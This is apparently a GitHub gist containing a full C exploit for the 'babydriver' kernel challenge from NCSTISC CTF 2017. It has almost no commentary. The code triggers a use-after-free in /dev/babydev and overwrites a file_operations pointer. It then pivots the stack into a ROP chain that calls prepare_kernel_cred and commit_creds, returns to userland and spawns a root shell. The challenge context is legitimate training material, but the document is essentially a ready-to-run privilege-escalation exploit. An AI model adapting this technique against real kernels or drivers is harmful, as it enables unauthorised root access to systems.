Skip to content

Instantly share code, notes, and snippets.

@shift-crops
Last active December 25, 2018 11:22
Show Gist options
  • Save shift-crops/5e9a8feaa2fd60777f10bc01256fbf52 to your computer and use it in GitHub Desktop.
Save shift-crops/5e9a8feaa2fd60777f10bc01256fbf52 to your computer and use it in GitHub Desktop.
NCSTISC CTF 2017 babydriver
// gcc exploit.c -masm=intel -fno-PIE -nostdlib -no-pie -o exploit
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
size_t read(int fd, void *buf, size_t count);
size_t write(int fd, void *buf, size_t count);
int open(const char* pathname, int flags, ...);
int close(int fd);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int mprotect(void *addr, size_t len, int prot);
int munmap(void *addr, size_t length);
int ioctl(int fd, unsigned long request, ...);
int execve(const char *filename, char *const argv[], char *const envp[]);
void exit(int status);
void *memset(void *s, int c, size_t n);
void *memcpy(void *dest, const void *src, size_t n);
unsigned long strlen(const char *s);
int puts(const char *s);
void shell(void);
static void save_state(void);
static void restore_state(void);
struct state {
unsigned long rip;
unsigned long cs;
unsigned long rflags;
unsigned long rsp;
unsigned long ss;
} stat;
/* exploit */
struct cred* (*prepare_kernel_cred)(struct task_struct *daemon) = 0xffffffff810a1810;
int (*commit_creds)(struct cred *new) = 0xffffffff810a1420;
unsigned long stack_pivot = 0xffffffff81038b06; // mov esp, 0x83000000 ; ret
unsigned long pop_rdi = 0xffffffff810d238d; // pop rdi ; ret
unsigned long mov_rdi_rax_pop2 = 0xffffffff8133b32e; // mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret
unsigned long swapgs_pop1 = 0xffffffff81063694; // swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8181a797;
void _start(void){
int fd[2], pfd[4];
unsigned long file[0x100/sizeof(unsigned long)];
unsigned long file_operations[0x100];
unsigned long *fake_stack;
save_state();
stat.rip = shell;
if((fd[0] = open("/dev/babydev", O_RDWR)) < 0 || (fd[1] = open("/dev/babydev", O_RDWR)) < 0){
puts("open /dev/babydev failed");
exit(-1);
}
ioctl(fd[0], 0x10001, 0x100); // sizeof(struct file))
close(fd[1]);
for(int i=0; i<sizeof(pfd)/sizeof(int); i++)
if((pfd[i] = open("/etc/passwd", O_RDONLY)) < 0){
puts("open /etc/passwd failed");
exit(-1);
}
if((fake_stack = mmap((void*)(0x83000000 - 0x1000), 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) != (void*)(0x83000000 - 0x1000)){
puts("mmap failed");
exit(-2);
}
fake_stack += 0x1000/sizeof(unsigned long);
*(fake_stack++) = pop_rdi;
*(fake_stack++) = 0;
*(fake_stack++) = prepare_kernel_cred;
*(fake_stack++) = mov_rdi_rax_pop2;
*(fake_stack++) = 0xdeadbeef;
*(fake_stack++) = 0xdeadbeef;
*(fake_stack++) = commit_creds;
*(fake_stack++) = swapgs_pop1;
*(fake_stack++) = 0xdeadbeef;
*(fake_stack++) = iretq;
memcpy(fake_stack, &stat, sizeof(stat));
read(fd[0], file, 0xff);
file_operations[12] = stack_pivot; // ioctl
file[5] = &file_operations;
write(fd[0], file, 0xff);
for(int i=0; i<sizeof(pfd)/sizeof(int); i++){
ioctl(pfd[i], 0xdeabdeef, 0xcafebabe);
close(pfd[i]);
}
}
/* funcs */
static void save_state(void) {
register long *rsp asm("rsp");
asm(
"mov rax, ss\n"
"push rax\n"
"lea rax, [rsp+0x18]\n"
"push rax\n"
"pushfq\n"
"mov rax, cs\n"
"push rax\n"
"mov rax, [rbp+8]\n"
"push rax\n"
);
memcpy(&stat, rsp, sizeof(stat));
asm("add rsp, 0x28");
}
static void restore_state(void){
register long *rsp asm("rsp");
asm("sub rsp, 0x28");
memcpy(rsp, &stat, sizeof(stat));
asm(
"swapgs\n"
"iretq"
);
__builtin_unreachable();
}
void *memset(void *s, int c, size_t n){
for(int i=0; i<n; i++)
*(char*)(s+i) = (char)c;
return s;
}
void *memcpy(void *dest, const void *src, size_t n){
for(int i=0; i<n; i++)
*(char*)(dest+i) = *(char*)(src+i);
return dest;
}
unsigned long strlen(const char *s){
unsigned long i;
for(i=0; s[i]; i++);
return i;
}
int puts(const char *s){
int n;
n = write(1, (void*)s, strlen(s));
write(1, "\n", 1);
return n;
}
void shell(void){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
asm(
"read:\n"
"mov rax, 0\n"
"syscall\n"
"ret\n"
"write:\n"
"mov rax, 1\n"
"syscall\n"
"ret\n"
"open:\n"
"mov rax, 2\n"
"syscall\n"
"ret\n"
"close:\n"
"mov rax, 3\n"
"syscall\n"
"ret\n"
"mmap:\n"
"mov rax, 9\n"
"mov r10, rcx\n"
"syscall\n"
"ret\n"
"mprotect:\n"
"mov rax, 10\n"
"syscall\n"
"ret\n"
"munmap:\n"
"mov rax, 11\n"
"syscall\n"
"ret\n"
"ioctl:\n"
"mov rax, 16\n"
"syscall\n"
"ret\n"
"execve:\n"
"mov rax, 59\n"
"syscall\n"
"ret\n"
"exit:\n"
"mov rax, 60\n"
"syscall\n"
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment